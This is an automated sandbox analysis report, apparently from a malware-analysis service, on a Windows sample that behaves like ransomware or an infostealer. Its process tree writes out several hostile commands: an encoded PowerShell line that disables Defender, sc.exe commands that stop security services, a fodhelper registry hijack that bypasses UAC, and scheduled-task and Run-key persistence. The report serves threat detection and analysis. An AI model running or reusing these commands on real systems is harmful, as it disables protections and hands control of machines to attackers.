Analysis
- max time kernel
150s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/08/2026, 06:58
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
shoahproject.org_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
shoahproject.org_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target shoahproject.org_hyber.exe
- Size 49KB
- Sample260826-hrha8atepc
- SHA256 d5556c27912fdefbf33ae098d121c658132a981259e84a5e694729d95f9e1cd2
- MD5 4952add849a1d6b0798bba6ea18e7603
- SHA1 e0b6ba8b073fa996cd194b36cdea17c56ca2a0f5
- SHA512 5b82622458868ed351fc0cfd0307f7e807caca4c9d4ce33bed2cdae6863ee25cecba377ed5bd09828d89bb3fed542c185e228f3432117ef9611757523c53c011
- SSDEEP 768:yrVZZ6zs0hnGjj0TfgN47c3nP88qk/NaPzfX/fzBM4D:YZ6HhKATfgN47QnP8tkmP/fVM4D
- TLSH T1B933E64937ED4121E2BF4ABA89F251118731F463DD23DB9E0AD8459E19F3700CDA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/552-1-0x0000000000AC0000-0x0000000000AD2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" shoahproject.org_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2428 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" shoahproject.org_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts shoahproject.org_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1884 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf shoahproject.org_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf shoahproject.org_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf shoahproject.org_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\shoahproject.org_hyber.exe" shoahproject.org_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 924 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe shoahproject.org_hyber.exe File created C:\Windows\system32\sysupdate.exe shoahproject.org_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe shoahproject.org_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1436 wscript.exe 1596 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" shoahproject.org_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1293781730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1140 sc.exe 5128 sc.exe 5592 sc.exe 756 sc.exe 1744 sc.exe 3296 sc.exe 4104 sc.exe 3184 sc.exe 2064 sc.exe 2360 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2720 cmd.exe 4164 cmd.exe 4580 cmd.exe 5876 cmd.exe 1956 cmd.exe 4244 cmd.exe 2896 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 6128 NETSTAT.EXE 3020 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1920 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3040 vssadmin.exe 5988 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" shoahproject.org_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\shoahproject.org_hyber.exe" shoahproject.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open shoahproject.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command shoahproject.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell shoahproject.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings shoahproject.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open shoahproject.org_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute shoahproject.org_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" shoahproject.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open shoahproject.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command shoahproject.org_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\shoahproject.org_hyber.exe\" \"%1\"" shoahproject.org_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings shoahproject.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command shoahproject.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet shoahproject.org_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell shoahproject.org_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell shoahproject.org_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4168 schtasks.exe 2464 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2428 powershell.exe 2428 powershell.exe 2428 powershell.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 2788 WMIC.exe 2788 WMIC.exe 2788 WMIC.exe 2788 WMIC.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 1600 WMIC.exe 1600 WMIC.exe 1600 WMIC.exe 1600 WMIC.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe 552 shoahproject.org_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4788 LogonUI.exe Token: SeCreatePagefilePrivilege 4788 LogonUI.exe Token: SeDebugPrivilege 552 shoahproject.org_hyber.exe Token: SeDebugPrivilege 2428 powershell.exe Token: SeIncreaseQuotaPrivilege 2428 powershell.exe Token: SeSecurityPrivilege 2428 powershell.exe Token: SeTakeOwnershipPrivilege 2428 powershell.exe Token: SeLoadDriverPrivilege 2428 powershell.exe Token: SeSystemProfilePrivilege 2428 powershell.exe Token: SeSystemtimePrivilege 2428 powershell.exe Token: SeProfSingleProcessPrivilege 2428 powershell.exe Token: SeIncBasePriorityPrivilege 2428 powershell.exe Token: SeCreatePagefilePrivilege 2428 powershell.exe Token: SeBackupPrivilege 2428 powershell.exe Token: SeRestorePrivilege 2428 powershell.exe Token: SeShutdownPrivilege 2428 powershell.exe Token: SeDebugPrivilege 2428 powershell.exe Token: SeSystemEnvironmentPrivilege 2428 powershell.exe Token: SeRemoteShutdownPrivilege 2428 powershell.exe Token: SeUndockPrivilege 2428 powershell.exe Token: SeManageVolumePrivilege 2428 powershell.exe Token: 33 2428 powershell.exe Token: 34 2428 powershell.exe Token: 35 2428 powershell.exe Token: 36 2428 powershell.exe Token: SeIncBasePriorityPrivilege 552 shoahproject.org_hyber.exe Token: SeDebugPrivilege 3048 whoami.exe Token: SeDebugPrivilege 924 tasklist.exe Token: SeDebugPrivilege 6128 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 2428 powershell.exe Token: SeSecurityPrivilege 2428 powershell.exe Token: SeTakeOwnershipPrivilege 2428 powershell.exe Token: SeLoadDriverPrivilege 2428 powershell.exe Token: SeSystemProfilePrivilege 2428 powershell.exe Token: SeSystemtimePrivilege 2428 powershell.exe Token: SeProfSingleProcessPrivilege 2428 powershell.exe Token: SeIncBasePriorityPrivilege 2428 powershell.exe Token: SeCreatePagefilePrivilege 2428 powershell.exe Token: SeBackupPrivilege 2428 powershell.exe Token: SeRestorePrivilege 2428 powershell.exe Token: SeShutdownPrivilege 2428 powershell.exe Token: SeDebugPrivilege 2428 powershell.exe Token: SeSystemEnvironmentPrivilege 2428 powershell.exe Token: SeRemoteShutdownPrivilege 2428 powershell.exe Token: SeUndockPrivilege 2428 powershell.exe Token: SeManageVolumePrivilege 2428 powershell.exe Token: 33 2428 powershell.exe Token: 34 2428 powershell.exe Token: 35 2428 powershell.exe Token: 36 2428 powershell.exe Token: SeIncreaseQuotaPrivilege 2788 WMIC.exe Token: SeSecurityPrivilege 2788 WMIC.exe Token: SeTakeOwnershipPrivilege 2788 WMIC.exe Token: SeLoadDriverPrivilege 2788 WMIC.exe Token: SeSystemProfilePrivilege 2788 WMIC.exe Token: SeSystemtimePrivilege 2788 WMIC.exe Token: SeProfSingleProcessPrivilege 2788 WMIC.exe Token: SeIncBasePriorityPrivilege 2788 WMIC.exe Token: SeCreatePagefilePrivilege 2788 WMIC.exe Token: SeBackupPrivilege 2788 WMIC.exe Token: SeRestorePrivilege 2788 WMIC.exe Token: SeShutdownPrivilege 2788 WMIC.exe Token: SeDebugPrivilege 2788 WMIC.exe Token: SeSystemEnvironmentPrivilege 2788 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 552 shoahproject.org_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4788 LogonUI.exe 4788 LogonUI.exe 552 shoahproject.org_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 552 wrote to memory of 2428 552 shoahproject.org_hyber.exe 91 PID 552 wrote to memory of 1744 552 shoahproject.org_hyber.exe 93 PID 552 wrote to memory of 756 552 shoahproject.org_hyber.exe 117 PID 552 wrote to memory of 2360 552 shoahproject.org_hyber.exe 97 PID 552 wrote to memory of 3296 552 shoahproject.org_hyber.exe 99 PID 552 wrote to memory of 1140 552 shoahproject.org_hyber.exe 101 PID 552 wrote to memory of 5128 552 shoahproject.org_hyber.exe 103 PID 552 wrote to memory of 5592 552 shoahproject.org_hyber.exe 105 PID 552 wrote to memory of 4104 552 shoahproject.org_hyber.exe 107 PID 552 wrote to memory of 3012 552 shoahproject.org_hyber.exe 109 PID 3012 wrote to memory of 1236 3012 fodhelper.exe 110 PID 552 wrote to memory of 1436 552 shoahproject.org_hyber.exe 112 PID 552 wrote to memory of 4168 552 shoahproject.org_hyber.exe 113 PID 552 wrote to memory of 4580 552 shoahproject.org_hyber.exe 120 PID 552 wrote to memory of 4164 552 shoahproject.org_hyber.exe 121 PID 552 wrote to memory of 2720 552 shoahproject.org_hyber.exe 122 PID 552 wrote to memory of 2896 552 shoahproject.org_hyber.exe 123 PID 552 wrote to memory of 4244 552 shoahproject.org_hyber.exe 124 PID 552 wrote to memory of 1956 552 shoahproject.org_hyber.exe 125 PID 552 wrote to memory of 5876 552 shoahproject.org_hyber.exe 126 PID 552 wrote to memory of 2464 552 shoahproject.org_hyber.exe 131 PID 552 wrote to memory of 1596 552 shoahproject.org_hyber.exe 136 PID 552 wrote to memory of 5052 552 shoahproject.org_hyber.exe 137 PID 552 wrote to memory of 3040 552 shoahproject.org_hyber.exe 138 PID 552 wrote to memory of 2788 552 shoahproject.org_hyber.exe 139 PID 552 wrote to memory of 4044 552 shoahproject.org_hyber.exe 140 PID 552 wrote to memory of 1884 552 shoahproject.org_hyber.exe 141 PID 552 wrote to memory of 2064 552 shoahproject.org_hyber.exe 142 PID 552 wrote to memory of 3184 552 shoahproject.org_hyber.exe 143 PID 4164 wrote to memory of 1920 4164 cmd.exe 144 PID 5876 wrote to memory of 6128 5876 cmd.exe 151 PID 2720 wrote to memory of 924 2720 cmd.exe 152 PID 4244 wrote to memory of 5024 4244 cmd.exe 154 PID 1956 wrote to memory of 3020 1956 cmd.exe 153 PID 2896 wrote to memory of 3048 2896 cmd.exe 155 PID 5024 wrote to memory of 3008 5024 net.exe 156 PID 4580 wrote to memory of 5988 4580 cmd.exe 157 PID 4044 wrote to memory of 1116 4044 net.exe 159 PID 4580 wrote to memory of 1600 4580 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2428
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1744
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:756
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2360
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3296
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1140
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5128
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5592
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4104
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe"C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe"3⤵PID:1236
-
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1436
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\shoahproject.org_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4168
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
